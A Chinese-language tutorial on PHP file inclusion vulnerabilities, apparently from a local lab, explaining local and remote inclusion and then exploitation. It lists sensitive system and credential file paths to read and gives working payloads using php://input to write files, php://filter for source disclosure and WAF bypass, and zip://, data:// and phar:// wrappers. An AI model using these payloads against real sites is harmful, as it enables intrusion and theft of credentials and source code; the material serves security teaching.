文件包含的概念: 把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,无需再次编写函数。这一调用文件的过程被称为包含。 文件包含的原理: 文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。 文件包含分类 文件包含分为本地文件包含和远程文件包含,而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_ url_ include. 如果开启就有可能包含远程文件。远程文件包含需要php.ini中allow_ ur_ include=on, allow_ ur_ fopen = On。在php.ini中,allow_ url_ fopen默认一直是On,而allow_ url_ include从php5.2之后就默认为Off。 文件包含函数 1, include():找不到被包含文件时会产生警告(E_ WARNING) ; 2,include_ once(): 与include () 类似,代码已经被包含则不会再次包含 3,require():找不到被包含的文件时会产生致命错误(E_ COMPILE ERROR) 4,require_ once():与require ()类似,代码已经被包含则不会再次包含 本地文件包含 1,include.php源码 2, 在同一路径下创建print.php文件<?php echo "hello world!!!"; ?>打印hello world!!, 在浏览器下进行访问此文件,发现文件成功执行 3, 分别修改phpinfo.txt扩展名为: jpg、rar、xxx发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。(此处只以.txt举例)
4, 此外include.php文件还可以通过目录遍历来执行文件,在include.php的上一目录写一个2.php <?php echo "666";?>打印666,通过浏览器进行访问
文件包含漏洞利用 1,读取Windows系统敏感信息: C:\boot.ini //查看系统版本 C:\windows\system32\inetsrv\MetaBase.xml //IS配置文件 C:\windows\repair\sam //windows初次安装的密码 C:\program Files\mysq|\my.ini //Mysq|配置信息 C:\program Files\mysq|\data\mysq|\user.MYD //Mysql root C:\windows\php.ini //php配置信息 2,读取linux系统敏感信息: /etc/passwd //linux用户信息 /usr/local/app/apache2/conf/httpd.conf //apache2配置文件 /usr/local/app/php5/lib/php.ini //php配置文件 /etc/httpd/conf/httpd.conf //apache配置文件 /etc/my.cnf //Mysq|配置文件 3,文件包含可以配合图片马进行shell获取 包含Apache日志文件 把Apache中conf下的httpd.conf中的CustomLog这行注释去掉,重启Apache。
重新发起请求发现被编码了 启动bp进行该包 使用php封装伪协议 php流input 利用php中流的概念,将原本的include的文件流重定向到了用户可控制的输入流中 读取文件(allow_ url. include和allow_ ur_ fopen都不做要求) 127.0.0.1/csh/include.php/?page=php://input <?php fputs(fopen("1116.php","w"),"<?php phpinfo();?>");?> 将1116.php写入当前路径下内容为<?php phpinfo();?>
php流filter
读取文件(allow_ url. include和allow_ ur_ fopen都不做要求) ?page= php://filter/read=convert.base64-encode/resource=index.php 通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。 其他姿势 ?page= php://filter/convert.base64-encode/resource=index.php 效果跟前面一样,少了read等关键字,在绕过一些waf时也有用。 zip:// http://127.0.0.1/csh/include.php/?page=zip://D:\phpstudy_pro\WWW\123.com\text.zip%23text.txt 先将要执行的PHP代码写好文件名为test.txt,将test.txt进 行zip压缩,压缩文件名为test.zip,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再 data:// 命令执行(php版本大于等于5.2, allow_ url include和allow_ url fopen都为on的状态)http://127.0.0.1/csh/include.php/?page=data://text/plain, <?php phpinfo();?> ?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= (将<?php phpinfo();?>转换为了base64编码) phar:// 假如有个文件test.txt,打包成zip压缩包,指定绝对路径(或者使用相对路径) ?page= phar://C:/Users/40454/Desktop/test.zip/test.txt或 ?page= phar://C:/Users/40454/Desktop/test.jpg/test.txt
|